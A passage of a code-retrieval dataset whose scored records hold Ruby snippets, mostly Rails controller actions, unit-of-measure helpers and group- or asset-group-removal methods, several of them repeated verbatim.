}, { "docid": "721d3429c57c8f2b729d23babca2a64e", "score": "0.62745947", "text": "def set_measurewithunit\n @measurewithunit = Measurewithunit.find(params[:id])\n end", "title": "" }, { "docid": "57ebee5a83e013e5c95c187611e98426", "score": "0.6267468", "text": "def add_measure_after\n section = Cell.find(params[\"cellID\"].to_i).measure.phrase.section\n last_phrase = section.ordered_phrases.last\n\n if last_phrase.measures.count == last_phrase.number_of_measures\n last_phrase = Phrase.create(section_phrase_number: last_phrase.section_phrase_number + 1, number_of_measures: last_phrase.number_of_measures)\n section.phrases << last_phrase\n end\n\n added_measure = Measure.create_measure_and_cells(last_phrase.id, last_phrase.measures.count, section.ordered_measures.last.section_measure_number + 1, section.default_subdivision)\n last_phrase.measures << added_measure\n\n render template: \"songs/_edit_section_open_edit_menu\", locals: { section: section }, layout: false\n end", "title": "" }, { "docid": "2313f923befb0b9fa0435c025aab94ee", "score": "0.62582695", "text": "def <<(stat, time_unit)\n incr stat, time_unit\n end", "title": "" }, { "docid": "022ebedc6da909cfd3d7533d52eb179e", "score": "0.6228981", "text": "def addMeasurement(idRef, filterMode, properties = nil, metrics = nil)\n raise OEDLIllegalCommandException.new(:addMeasurement) \n end", "title": "" }, { "docid": "8eda86b5d4d933903f4d8688309a3feb", "score": "0.61857563", "text": "def set_measurement_unit\n @measurement_unit = MeasurementUnit.find(params[:id])\n end", "title": "" }, { "docid": "8eda86b5d4d933903f4d8688309a3feb", "score": "0.61857563", "text": "def set_measurement_unit\n @measurement_unit = MeasurementUnit.find(params[:id])\n end", "title": "" }, { "docid": "2273dd86cc17ddfba5d4bd144bc1ab19", "score": "0.6174991", "text": "def set_measure_unit\n @measure_unit = MeasureUnit.find(params[:id])\n end", "title": "" }, { "docid": "05828f814e90d0f35927bc99cf8f2373", "score": "0.6119681", "text": "def set_units_of_measure\n @units_of_measure = UnitsOfMeasure.find(params[:id])\n end", "title": "" }, { "docid": "325c4492601102eaaa181a4e4eb506ed", "score": "0.61113375", "text": "def add_measurement(value, time = Time.now)\n TITS.influx.write_point(\"r#{id}\", time: time.to_i * 1000, value: value)\n\n # Construct the DTO object and pass it to the block\n dto = MeasurementDTO.new\n dto.resource_id = id\n dto.value = value\n dto.time = time\n\n TITS.notify.call(dto) if TITS.notify\n end", "title": "" }, { "docid": "59280751aebaf299b9d8857bac8abcc9", "score": "0.61052006", "text": "def unit=(value)\n @unit = value.is_a?(Unit) ? value : Unit.new(value)\n end", "title": "" }, { "docid": "c452277bd5fccb1831d23668fe7a337d", "score": "0.60869956", "text": "def update_units()\n if @user_units and @database_units\n @records.set(GRT_UNITS, [@user_units, @database_units])\n else\n @records.set(GRT_UNITS, nil)\n end\n end", "title": "" }, { "docid": "60933aa3beda88999006d3276dee8c61", "score": "0.60465294", "text": "def set_Unit(value)\n set_input(\"Unit\", value)\n end", "title": "" }, { "docid": "fdaf0a6da59be14309eb5a1c613a96a0", "score": "0.60429156", "text": "def create_measure_double name:, unit:, description: nil\n MeasureRegistry.register(\n name: name,\n unit: unit,\n type: Measure::DOUBLE_TYPE,\n description: description\n )\n end", "title": "" }, { "docid": "330fcb3e2e19a12fd80839627dd473aa", "score": "0.6003494", "text": "def add_volume(volume)\n cv = current_volume\n new_volume = (cv[:qty] + volume[:qty])\n # volume = convert_units(volume, cv[:units]) units class method\n adjust_volume(create_qty(qty: new_volume, units: volume[:units]).to_s)\n end", "title": "" }, { "docid": "3651307e713d5dce8ec6a82d8af6a90b", "score": "0.598851", "text": "def unit=(other)\n\t\tset!( *(self.class.new(*other).unit() * magnitude()) )\n\tend", "title": "" }, { "docid": "92ce9c91f82f44734fb7a7db509b4ce1", "score": "0.59848815", "text": "def create\n @measure_unit = MeasureUnit.new(params[:measure_unit])\n\n respond_to do |format|\n if @measure_unit.save\n format.html { redirect_to measure_units_path(), notice: 'Measure unit was successfully created.' }\n format.json { render json: @measure_unit, status: :created, location: @measure_unit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @measure_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "91d1659798603750b567f92f1f465cec", "score": "0.59815884", "text": "def set_MeasurementUnitID(value)\n set_input(\"MeasurementUnitID\", value)\n end", "title": "" }, { "docid": "1e00eb4a66ef336b15298626f2d54e02", "score": "0.5971598", "text": "def set_unit(obj)\n @unit = obj\n end", "title": "" }, { "docid": "03ccc7afc455502bad78d4d563a361be", "score": "0.5967934", "text": "def +(other)\n case other\n when Unit\n case\n when self.zero?\n other.dup\n when self =~ other\n raise ArgumentError, \"Cannot add two temperatures\" if ([self, other].all? {|x| x.is_temperature?})\n if [self, other].any? {|x| x.is_temperature?}\n if self.is_temperature?\n Unit.new(:scalar => (self.scalar + other.to(self.temperature_scale).scalar), :numerator => @numerator, :denominator=>@denominator, :signature => @signature)\n else\n Unit.new(:scalar => (other.scalar + self.to(other.temperature_scale).scalar), :numerator => other.numerator, :denominator=>other.denominator, :signature => other.signature)\n end\n else\n @q ||= ((@@cached_units[self.units].scalar / @@cached_units[self.units].base_scalar) rescue (self.units.unit.to_base.scalar))\n Unit.new(:scalar=>(self.base_scalar + other.base_scalar)*@q, :numerator=>@numerator, :denominator=>@denominator, :signature => @signature)\n end\n else\n raise ArgumentError, \"Incompatible Units ('#{self}' not compatible with '#{other}')\"\n end\n when Date, Time\n raise ArgumentError, \"Date and Time objects represent fixed points in time and cannot be added to a Unit\"\n else\n x,y = coerce(other)\n y + x\n end\n end", "title": "" }, { "docid": "bc3bd8690b91a9fe3be1efc4f28134e1", "score": "0.59665626", "text": "def add_entry(label, microseconds, iters, stats, measurement_cycle); end", "title": "" }, { "docid": "8dddb26cd7b3aa779a4cd72ef780486b", "score": "0.59347963", "text": "def set_unit(x, y, unit)\n return nil unless valid?(x,y)\n @map_data[x,y].unit = unit\n end", "title": "" }, { "docid": "ac588cac5c205bb021a66a0180db7f0c", "score": "0.5920912", "text": "def units= units\n @atoms.each{|atom| atom.units = units}\n end", "title": "" }, { "docid": "aa79a3434d4caa0e69b172fd7ecb8d85", "score": "0.59207445", "text": "def set_Unit(value)\n set_input(\"Unit\", value)\n end", "title": "" }, { "docid": "aa79a3434d4caa0e69b172fd7ecb8d85", "score": "0.59207445", "text": "def set_Unit(value)\n set_input(\"Unit\", value)\n end", "title": "" }, { "docid": "aa79a3434d4caa0e69b172fd7ecb8d85", "score": "0.59207445", "text": "def set_Unit(value)\n set_input(\"Unit\", value)\n end", "title": "" }, { "docid": "aa79a3434d4caa0e69b172fd7ecb8d85", "score": "0.59207445", "text": "def set_Unit(value)\n set_input(\"Unit\", value)\n end", "title": "" }, { "docid": "aa79a3434d4caa0e69b172fd7ecb8d85", "score": "0.59207445", "text": "def set_Unit(value)\n set_input(\"Unit\", value)\n end", "title": "" }, { "docid": "aa79a3434d4caa0e69b172fd7ecb8d85", "score": "0.59207445", "text": "def set_Unit(value)\n set_input(\"Unit\", value)\n end", "title": "" }, { "docid": "aa79a3434d4caa0e69b172fd7ecb8d85", "score": "0.59207445", "text": "def set_Unit(value)\n set_input(\"Unit\", value)\n end", "title": "" }, { "docid": "aa79a3434d4caa0e69b172fd7ecb8d85", "score": "0.59207445", "text": "def set_Unit(value)\n set_input(\"Unit\", value)\n end", "title": "" }, { "docid": "30ed161b16dff34f9f9160a1272b06f3", "score": "0.58654207", "text": "def insert_measurement_durations\n 0.upto(@measurement_times.size - 2) do |i|\n duration = @measurement_times[i+1][1] - @measurement_times[i][1] \n @measurement_times[i] << \"(#{duration} seconds)\"\n end\n end", "title": "" }, { "docid": "72d44ba6165295e174216057e1c4c691", "score": "0.5857711", "text": "def measurement=(string)\n @amount = string\n end", "title": "" }, { "docid": "c91b776a2371455d98572d9c0d7ec180", "score": "0.583827", "text": "def set_Units(value)\n set_input(\"Units\", value)\n end", "title": "" }, { "docid": "c91b776a2371455d98572d9c0d7ec180", "score": "0.583827", "text": "def set_Units(value)\n set_input(\"Units\", value)\n end", "title": "" }, { "docid": "c91b776a2371455d98572d9c0d7ec180", "score": "0.583827", "text": "def set_Units(value)\n set_input(\"Units\", value)\n end", "title": "" }, { "docid": "c91b776a2371455d98572d9c0d7ec180", "score": "0.583827", "text": "def set_Units(value)\n set_input(\"Units\", value)\n end", "title": "" }, { "docid": "c91b776a2371455d98572d9c0d7ec180", "score": "0.583827", "text": "def set_Units(value)\n set_input(\"Units\", value)\n end", "title": "" }, { "docid": "c91b776a2371455d98572d9c0d7ec180", "score": "0.583818", "text": "def set_Units(value)\n set_input(\"Units\", value)\n end", "title": "" }, { "docid": "c91b776a2371455d98572d9c0d7ec180", "score": "0.583818", "text": "def set_Units(value)\n set_input(\"Units\", value)\n end", "title": "" }, { "docid": "c91b776a2371455d98572d9c0d7ec180", "score": "0.583818", "text": "def set_Units(value)\n set_input(\"Units\", value)\n end", "title": "" }, { "docid": "9014268f59c27f9e31acaf8e0c3d4b9a", "score": "0.5833489", "text": "def ajouterMalus(m)\n @time += m\n end", "title": "" }, { "docid": "c812b81293201ce348e34e541fe65b1b", "score": "0.5821654", "text": "def defMetric(name, type, opts = {})\n @ms << Metric.new(name, type, opts)\n end", "title": "" }, { "docid": "98dcbe0f83255615dfff1248b5085abb", "score": "0.58172435", "text": "def measure\n unit.unit_name\n end", "title": "" }, { "docid": "49eb0c5d483713d72fe67776a06f87d7", "score": "0.58138347", "text": "def addMetric(name, type, description = nil)\n raise OEDLIllegalCommandException.new(:addMetric) \n end", "title": "" }, { "docid": "97fc7699b2d5ab9bf020e7f8d2805fc8", "score": "0.57789564", "text": "def create\n @unit_measurement = UnitMeasurement.new(params[:unit_measurement])\n\n respond_to do |format|\n if @unit_measurement.save\n format.html { redirect_to @unit_measurement, notice: 'Unit measurement was successfully created.' }\n format.json { render json: @unit_measurement, status: :created, location: @unit_measurement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @unit_measurement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "498a111217b8a5acb7ac57c3c82d02d9", "score": "0.5778152", "text": "def unit(name, symbol, quantity, options={})\n type = UnitType.new(self, name, symbol, quantity, options)\n type.terms.each do |key|\n next if /\\W/ =~ key.to_s # can't use non-words characters\n types[key.to_sym] = type\n end\n\n # define au conversions\n au_conversion(type)\n end", "title": "" }, { "docid": "86521ee76c7cc55ab991842af077ec3b", "score": "0.57571256", "text": "def add_result_measure_info(result, measure)\n begin\n result.setMeasureType(measure.measureType)\n result.setMeasureName(measure.name)\n result.setMeasureId(measure.uid)\n result.setMeasureVersionId(measure.versionId)\n version_modified = measure.versionModified\n if !version_modified.empty?\n result.setMeasureVersionModified(version_modified.get)\n end\n result.setMeasureXmlChecksum(measure.xmlChecksum)\n result.setMeasureClassName(measure.className)\n result.setMeasureDisplayName(measure.displayName)\n result.setMeasureTaxonomy(measure.taxonomyTag)\n rescue NameError\n end\n end", "title": "" }, { "docid": "96079f07fb58e808c4d17f0ea542fd94", "score": "0.57419586", "text": "def set_additional_unit\n @additional_unit = AdditionalUnit.find(params[:id])\n end", "title": "" }, { "docid": "17e54ad5c0b421475ae728e835907d20", "score": "0.5735857", "text": "def create_measure_int name:, unit:, description: nil\n MeasureRegistry.register(\n name: name,\n unit: unit,\n type: Measure::INT64_TYPE,\n description: description\n )\n end", "title": "" }, { "docid": "4c93f9ad4bc744c08c42764f163c6233", "score": "0.5735408", "text": "def create\n @measurewithunit = Measurewithunit.new(measurewithunit_params)\n\n respond_to do |format|\n if @measurewithunit.save\n format.html { redirect_to @measurewithunit, notice: 'Measurewithunit was successfully created.' }\n format.json { render :show, status: :created, location: @measurewithunit }\n else\n format.html { render :new }\n format.json { render json: @measurewithunit.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "21464bade30aefd2bd2b281e17faecb3", "score": "0.5727725", "text": "def measurement_params\n params.require(:measurement).permit(:name, :unit)\n end", "title": "" }, { "docid": "6300775f3d9d57a1d3962d133fce481b", "score": "0.571867", "text": "def new\n @measure_unit = MeasureUnit.new\n respond_with @measure_unit\n end", "title": "" }, { "docid": "52c01a752d125dea643926e6b9360509", "score": "0.5703711", "text": "def primitiveUnits= value\r\n value = value.to_s\r\n @attributes['primitiveUnits'] = value\r\n value.to_number\r\n end", "title": "" }, { "docid": "8ce2066258746de274abc9537697d0eb", "score": "0.5698601", "text": "def unit **nn\n Unit().new( nn.update( of: self ) )\n .tap { |u| ( units << u ).uniq! } # add it to the @units array\n end", "title": "" }, { "docid": "c3df188cfc6b0a98f9716f06ac1bf07a", "score": "0.56895226", "text": "def to_measurement_quantity(unit=nil)\n # remove commas\n return delete(',').to_measurement_quantity(unit) if self[',']\n # extract the quantity portion\n quantity_s = self[/\\d*\\.?\\d*/]\n return if quantity_s.nil? or quantity_s == '.'\n quantity = quantity_s['.'] ? quantity_s.to_f : quantity_s.to_i\n # extract the unit portion\n unit_s = self[/([[:alpha:]]+)(\\s)?$/, 1]\n return quantity if unit_s.nil?\n # make the measurement\n msmt = \"#{quantity} #{unit_s.downcase}\".to_measurement\n # return the measurement quantity\n msmt = msmt.as(unit) if unit\n msmt.quantity\n end", "title": "" }, { "docid": "308d508dea2365f33967911f8733f518", "score": "0.5686057", "text": "def initialize(name)\n @name = name\n @@units[name] = self\n @@units[name + 's'] = self\n end", "title": "" }, { "docid": "938cc2715ac7ec4c49b145e9d92e4136", "score": "0.568225", "text": "def set_unit\n @unit = @property.units.find(params[:id])\n end", "title": "" }, { "docid": "e61508eedc38f8979c3c8d6f9f7cb5e7", "score": "0.5682085", "text": "def SetUnit(unit)\n @unit = unit\n end", "title": "" }, { "docid": "311913d0ad158fb69a99be8c45a9ebc7", "score": "0.56709737", "text": "def create\n @measurement_unit = MeasurementUnit.new(measurement_unit_params)\n\n respond_to do |format|\n if @measurement_unit.save\n format.html { redirect_to @measurement_unit, notice: 'Measurement unit was successfully created.' }\n format.json { render :show, status: :created, location: @measurement_unit }\n else\n format.html { render :new }\n format.json { render json: @measurement_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5dbd3ade625ccc3560361f949f4912c4", "score": "0.566527", "text": "def add_member(name)\n @members[name] = 0.0\n end", "title": "" }, { "docid": "26006533e6f8180ec29d3c540e03b372", "score": "0.5665165", "text": "def add(datatype, name)\n @counter += 1\n @numbers[name] = @counter\n @variables[name] = Struct::Variable.new(datatype, Inget.new)\n end", "title": "" }, { "docid": "1f95e72212a8b1bf01715b3c967a4c1b", "score": "0.564884", "text": "def as(unit)\n unit = UOM::Unit.for(unit.to_sym) if String === unit or Symbol === unit\n return self if @unit == unit\n Measurement.new(unit, @unit.as(quantity, unit))\n end", "title": "" }, { "docid": "528073f84f59bba97e85cbf82d1e0598", "score": "0.56485", "text": "def set_measurement_hash(measure, variations)\n variations.each do |abbrev|\n @unit_map[abbrev] = measure\n end\n end", "title": "" }, { "docid": "8cd98ef1cd66d2f2f934e02395792f92", "score": "0.5647748", "text": "def units_record() @records.get(GRT_UNITS); end", "title": "" }, { "docid": "27fcc7f06deca81b0d9d4bae6bbd968b", "score": "0.5647351", "text": "def add(time, duration)\n EasyTime.new(time) + duration\n end", "title": "" }, { "docid": "d301e5e6446ada11ee4d8209d6768f8f", "score": "0.5640209", "text": "def database_units=(val)\n @database_units = val\n update_units\n end", "title": "" }, { "docid": "a293e88c1e3cd730ffc5ff37f0b94452", "score": "0.5640083", "text": "def unit\n @units\n end", "title": "" }, { "docid": "8cc9a19f079c5cb84a7500424d30d11c", "score": "0.5636865", "text": "def measurement_symbol(measurement_word)\n create_unit_map\n @unit_map[measurement_word]\n end", "title": "" }, { "docid": "d4006f24ed15a1dd8a0f770eccd52d0d", "score": "0.56355023", "text": "def unit\r\n @unit\r\n end", "title": "" }, { "docid": "b399a6bbdb974f974fbd76e9c3913d7a", "score": "0.56197286", "text": "def set_Units(value)\n set_input(\"Units\", value)\n end", "title": "" }, { "docid": "e4139a8e2b8048cabc7283603e984da0", "score": "0.5611633", "text": "def write_measuements(value, external_info)\n meas = Measurement.new\n meas.value = value\n meas.external_info = external_info\n meas.save\n end", "title": "" }, { "docid": "d3fa3089affe4bb9c246cbdf302d5676", "score": "0.560052", "text": "def set_UnitValue(value)\n set_input(\"UnitValue\", value)\n end", "title": "" }, { "docid": "d3fa3089affe4bb9c246cbdf302d5676", "score": "0.560052", "text": "def set_UnitValue(value)\n set_input(\"UnitValue\", value)\n end", "title": "" }, { "docid": "d3fa3089affe4bb9c246cbdf302d5676", "score": "0.560052", "text": "def set_UnitValue(value)\n set_input(\"UnitValue\", value)\n end", "title": "" }, { "docid": "d3fa3089affe4bb9c246cbdf302d5676", "score": "0.560052", "text": "def set_UnitValue(value)\n set_input(\"UnitValue\", value)\n end", "title": "" }, { "docid": "22fc46856de7ebcea2ff47fa4e10d2af", "score": "0.5590298", "text": "def create_unit_map\n @unit_map = {}\n # {\"c.\" => :cup, }\n # imperial units\n set_measurement_hash :cup, [\"c.\", \"c\", \"cup\", \"cups\"]\n set_measurement_hash :fluid_ounce, [\"fl. oz.\", \"fl oz\", \"fluid ounce\", \"fluid ounces\"]\n set_measurement_hash :gallon, [\"gal\", \"gal.\", \"gallon\", \"gallons\"]\n set_measurement_hash :ounce, [\"oz\", \"oz.\", \"ounce\", \"ounces\"]\n set_measurement_hash :pint, [\"pt\", \"pt.\", \"pint\", \"pints\"]\n set_measurement_hash :pound, [\"lb\", \"lb.\", \"pound\", \"pounds\"]\n set_measurement_hash :quart, [\"qt\", \"qt.\", \"qts\", \"qts.\", \"quart\", \"quarts\"]\n set_measurement_hash :tablespoon, [\"tbsp.\", \"tbsp\", \"T\", \"T.\", \"tablespoon\", \"tablespoons\"]\n set_measurement_hash :teaspoon, [\"tsp.\", \"tsp\", \"t\", \"t.\", \"teaspoon\", \"teaspoons\"]\n # metric units\n set_measurement_hash :gram, [\"g\", \"g.\", \"gr\", \"gr.\", \"gram\", \"grams\"]\n set_measurement_hash :kilogram, [\"kg\", \"kg.\", \"kilogram\", \"kilograms\"]\n set_measurement_hash :liter, [\"l\", \"l.\", \"liter\", \"liters\"]\n set_measurement_hash :milligram, [\"mg\", \"mg.\", \"milligram\", \"milligrams\"]\n set_measurement_hash :milliliter, [\"ml\", \"ml.\", \"milliliter\", \"milliliters\"]\n # independent measures\n set_measurement_hash :pinch, [\"pinch\"]\n set_measurement_hash :dash, [\"dash\"]\n set_measurement_hash :sprig, [\"sprig\", \"sprigs\"]\n set_measurement_hash :piece, [\"piece\", \"pieces\"]\n set_measurement_hash :bag, [\"bag\", \"bags\"]\n set_measurement_hash :box, [\"box\", \"boxes\"]\n set_measurement_hash :package, [\"package\", \"packages\", \"pkg.\", \"pkg\"]\n set_measurement_hash :stick, [\"stick\", \"sticks\"]\n set_measurement_hash :drop, [\"drop\", \"drops\"]\n set_measurement_hash :slice, [\"slice\", \"slices\"]\n set_measurement_hash :splash, [\"splash\"]\n set_measurement_hash :can, [\"can\", \"cans\"]\n set_measurement_hash :jar, [\"jar\", \"jars\"]\n set_measurement_hash :none, [\"none\"]\n end", "title": "" }, { "docid": "6c89b54dfd0513b6c9b57ed59d38ef55", "score": "0.55893683", "text": "def units\n [self]\n end", "title": "" } ]
2bff18d8c993d5372030f4a6be595eeb
Removes the asset from the specified group
[ { "docid": "7e2566dd21f23e6fd0baa0fcc366f2f2", "score": "0.8341705", "text": "def remove_from_group\n asset_group = AssetGroup.find_by_object_key(params[:asset_group])\n if asset_group.nil?\n notify_user(:alert, \"Can't find the asset group selected.\")\n else\n if @asset.asset_groups.exists? asset_group.id\n @asset.asset_groups.delete asset_group\n notify_user(:notice, \"Asset #{@asset} was removed from '#{asset_group}'.\")\n else\n notify_user(:alert, \"Asset #{@asset} is not a member of '#{asset_group}'.\")\n end\n end\n\n # Always display the last view\n redirect_back(fallback_location: root_path)\n end", "title": "" } ]
[ { "docid": "9bb6bb7418cfddae376fcb2bb8e6225d", "score": "0.75559074", "text": "def remove_group!( group )\n save if remove_group( group )\n end", "title": "" }, { "docid": "f5a96c3e7a91e51bed38008cabc10da8", "score": "0.7511211", "text": "def object_group_remove(group)\n @runtime_groups.delete group.name\n self\n end", "title": "" }, { "docid": "24ec460bfcee47af70d992613b7f5b6d", "score": "0.749591", "text": "def remove(group)\r\n @groupList.delete(group)\r\n end", "title": "" }, { "docid": "93be3c8ac4cdf295203000246b3d77e7", "score": "0.74804664", "text": "def asset_group_delete(id)\n r = execute(make_xml('AssetGroupDeleteRequest', {'group-id' => id}))\n r.success\n end", "title": "" }, { "docid": "4cb955bd57b2007dab0549b9ea4fe5fd", "score": "0.7302196", "text": "def delete_asset_group(id)\n r = execute(make_xml('AssetGroupDeleteRequest', { 'group-id' => id }))\n r.success\n end", "title": "" }, { "docid": "23f6289c47c7eb01aa0e426a077d46d7", "score": "0.7196855", "text": "def destroy\n debug('Removing group')\n self.class.run_command_in_cib([command(:pcs), 'resource', 'ungroup', @property_hash[:name]], @resource[:cib])\n @property_hash.clear\n end", "title": "" }, { "docid": "0b781001a3d747f265470f000f50a3e1", "score": "0.71647274", "text": "def remove_from_group(group)\n expects group, Adauth::AdObjects::Group\n group.modify([[:delete, :member, @ldap_object.dn]])\n end", "title": "" }, { "docid": "4acda14dcaeb6042721317e3523705d5", "score": "0.71606857", "text": "def remove_from_group(group)\n @api.do_request(\"DELETE\", group.get_base_api_path() + \"/contacts/\" + get('id'))\n if @group_ids_set.has_key?(group.id)\n @group_ids_set.delete(group.id)\n end\n end", "title": "" }, { "docid": "c85eaac12eae1144e5daf92cd465c5e3", "score": "0.7124892", "text": "def remove_tag_from_asset_group(asset_group_id, tag_id)\n AJAX.delete(self, \"/api/2.0/asset_groups/#{asset_group_id}/tags/#{tag_id}\")\n end", "title": "" }, { "docid": "62d0c2a2e1e9ec0dd577dd0430419002", "score": "0.70731807", "text": "def remove_group(group)\n AMS.validate_type(group, Sketchup::Group, Sketchup::ComponentInstance)\n body = find_body_by_group(group)\n return false unless body\n body.destroy\n true\n end", "title": "" }, { "docid": "4ed0da75ff0ea8cee3b7fe17993d5d68", "score": "0.7052516", "text": "def remove_group( group )\n resp = conn.delete( '/groups/'+name+'/groups/'+group.name+'/' )\n \n case resp.code.to_i\n when 204\n return\n when 404\n raise RestAuthGroupNotFound.new( resp )\n else\n raise RestAuthUnknownStatus.new( resp )\n end\n end", "title": "" }, { "docid": "076c7e5dd6a1fd50fc21b240658c7005", "score": "0.6999674", "text": "def remove_group(group)\n AMS.validate_type(group, Sketchup::Group, Sketchup::ComponentInstance)\n body = get_body_by_group(group)\n return false unless body\n body.destroy\n true\n end", "title": "" }, { "docid": "dcb956a03e1b9048eee01093252e9b9f", "score": "0.69104487", "text": "def delete_group(group)\n delete_records_by_group(group)\n post(\"group.remove\", self.class.xml_doc.request { |r|\n r.id get_group_id(group)\n })\n end", "title": "" }, { "docid": "cab151d36f9e9b24b107473f18cd9c02", "score": "0.69036084", "text": "def delete(connection)\n connection.asset_group_delete(@id)\n end", "title": "" }, { "docid": "1ada50a65391e139f3d7eaa76b966e0d", "score": "0.6898186", "text": "def remove_group(group)\n if @groups.delete(group)\n group.is_parented = false\n group.cleanup\n end\n end", "title": "" }, { "docid": "cd622921acd85cbd580267ec267867e9", "score": "0.6895687", "text": "def destroy\n @assetgroup.destroy\n respond_to do |format|\n format.html { redirect_to assetgroups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d0f6436de6e93584a5c8364e4c91b65c", "score": "0.68922174", "text": "def delete(connection)\n connection.delete_asset_group(@id)\n end", "title": "" }, { "docid": "c054ebe7655528a186b76580848fb862", "score": "0.68787885", "text": "def remove_group( group )\n raise TypeError.new('not a group') unless group.is_a?(Ecore::Group)\n tmp_group_ids = self.group_ids.split(',')\n tmp_group_ids.delete(group.id)\n self.group_ids = tmp_group_ids.join(',')\n true\n end", "title": "" }, { "docid": "53db4cfb0a9b784b1d15a44f13502823", "score": "0.68447274", "text": "def destroy\n @asset_group.destroy\n respond_to do |format|\n format.html { redirect_to asset_groups_url, notice: 'Asset group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "35e6dee225c46e304b016a20c0bcf715", "score": "0.6836932", "text": "def destroy\n @group = Group.find(params[:id])\n begin\n @group.destroy\n rescue ActiveRecord::DeleteRestrictionError\n error = 'Эта группа не может быть удалена, пока с ней связан хоть один файл, пользователь или тест.'\n ensure\n respond_to do |format|\n format.html { redirect_to groups_url, notice: error }\n format.json { head :ok }\n end\n end\n end", "title": "" }, { "docid": "98135498f36dfd15964d9fd755da0142", "score": "0.6790142", "text": "def quit_group(group)\n groups.delete(group)\n remove_needs_from_group(group)\n end", "title": "" }, { "docid": "0b07e314a62c7267b7274e27a7c6e9b9", "score": "0.67755157", "text": "def delete\n client.delete_group(:group_name => name)\n nil\n end", "title": "" }, { "docid": "7824bc6146ca78d9b6ecea87a2cbb6e2", "score": "0.6767484", "text": "def remove_agent_of_group(agent_id, group_id)\n delete \"/agents/#{agent_id}/group/#{group_id}\"\n end", "title": "" }, { "docid": "5e151260bb1144aeb5415a70e64002da", "score": "0.6753204", "text": "def delete_group(group)\n ini = Rex::Parser::Ini.new(config_file)\n\n ini.delete(group)\n\n ini.to_file\n end", "title": "" }, { "docid": "26f21789ed3ad393da079b85ed35da55", "score": "0.6701826", "text": "def destroy\n @group.destroy\n end", "title": "" }, { "docid": "adc49b17b9dfafd95c275fc51d4fd966", "score": "0.66808003", "text": "def destroy\n @group = Group.find(params[:id])\n unauthorized! if cannot? :manage, @group\n @group.photo.destroy\n if @group.delete\n respond_to do |format|\n flash[:notice] = t(\"common.delete_success\")\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end\n \n end", "title": "" }, { "docid": "0ac088b3dc2878cd85c82433caa8b89a", "score": "0.66146827", "text": "def destroy\n @group.destroy\n end", "title": "" }, { "docid": "0ac088b3dc2878cd85c82433caa8b89a", "score": "0.66146827", "text": "def destroy\n @group.destroy\n end", "title": "" }, { "docid": "0ac088b3dc2878cd85c82433caa8b89a", "score": "0.66146827", "text": "def destroy\n @group.destroy\n end", "title": "" }, { "docid": "0ac088b3dc2878cd85c82433caa8b89a", "score": "0.66146827", "text": "def destroy\n @group.destroy\n end", "title": "" }, { "docid": "75be6a6737b3ded4b8323b14792c76b0", "score": "0.6603995", "text": "def destroy_group(group) # :nodoc:\n @groups.delete group\n @removed_groups.delete group\n end", "title": "" }, { "docid": "75be6a6737b3ded4b8323b14792c76b0", "score": "0.6603995", "text": "def destroy_group(group) # :nodoc:\n @groups.delete group\n @removed_groups.delete group\n end", "title": "" }, { "docid": "87a5675f7582016e879cfc88179e3768", "score": "0.6584009", "text": "def destroy\n @group = Group.find(params[:group_id])\n @groupphoto = Groupphoto.find(params[:id])\n if @group.avatar.eql?(@groupphoto)\n @group.avatar = nil\n @group.save!\n end\n @groupphoto.destroy\n\n respond_to do |format|\n format.html { redirect_to group_groupphotos_url(@groupphoto.group) }\n end\n end", "title": "" }, { "docid": "60a300321f4d441083b7d2c4b94823db", "score": "0.6580576", "text": "def group_destroy(group)\n raise NotImplementedError\n end", "title": "" }, { "docid": "8af9388750bd1cde5b7f7fdf5bc0ed78", "score": "0.6578194", "text": "def destroy\n @ad_group.destroy\n end", "title": "" }, { "docid": "a7b24f463239f47d70614cb89fc506e6", "score": "0.65641874", "text": "def delete_group(group_id)\n start.uri('/api/group')\n .url_segment(group_id)\n .delete()\n .go()\n end", "title": "" }, { "docid": "2d778d6e5d1babe8eac9881b527f5c4b", "score": "0.65635794", "text": "def delete_group(group)\n reset!\n unless group_authz_id = group.authz_id\n raise ArgumentError, \"No actor id for group #{group.inspect}\"\n end\n authz_client.resource(authz_id, :groups, group_authz_id).delete\n end", "title": "" }, { "docid": "db6e70356b238d13884cd4bb2a558dd1", "score": "0.6558423", "text": "def remove_from_group(group_name)\n @ldap.remove_from_group(self.uid, group_name)\n end", "title": "" }, { "docid": "adc1ecdbea0979a5df72e52b1b028e7a", "score": "0.65571773", "text": "def destroy\r\n @group.destroy\r\n\r\n head :no_content\r\n end", "title": "" }, { "docid": "5a73dcb0e9d027b780f15278e20b59a2", "score": "0.6552977", "text": "def destroy\n authorize! :modify, @group\n if @group.destroy\n redirect_to home_path, notice: \"#{@group.the_group_label} successfully destroyed!\"\n else\n flash_errors_model(@group)\n redirect_to url_for(action: :show)\n end\n end", "title": "" }, { "docid": "3c3cb1684fd19a2b454483dec952e99b", "score": "0.6546839", "text": "def group_destroy(group)\n raise NotImplemented\n end", "title": "" }, { "docid": "72dbf710c45a592311a7dbe5d8cd0857", "score": "0.65211743", "text": "def delete_group(group)\n unless group_authz_id = group.authz_id\n raise ArgumentError, \"No actor id for group #{group.inspect}\"\n end\n authz_client.resource(authz_id, :groups, group_authz_id).delete\n end", "title": "" }, { "docid": "4785c0c1c5fbff66e15bc75cb1e9bcee", "score": "0.6517045", "text": "def delete_group(group_id)\n start.uri('/api/group')\n .url_segment(group_id)\n .delete()\n .go()\n end", "title": "" }, { "docid": "5418b3e9a10b49b23a13486b81d109ba", "score": "0.6516806", "text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n redirect_to groups_path\n end", "title": "" }, { "docid": "cff128c10e9e53782ac2179c4518e2b4", "score": "0.649713", "text": "def delete_group(group_id)\n elektron_identity.delete(\"groups/#{group_id}\")\n end", "title": "" }, { "docid": "406874a0fad49cfc7363dbbd3e91172f", "score": "0.64893866", "text": "def remove_group(resource_name)\n ChefSpec::Matchers::ResourceMatcher.new(:group, :remove, resource_name)\n end", "title": "" }, { "docid": "ad135b14def9a9dce72d5069e42edc93", "score": "0.64880735", "text": "def destroy\n require_params([:id])\n group = @assessment.groups.find_by(id: params[:id].to_i)\n if group.nil?\n raise 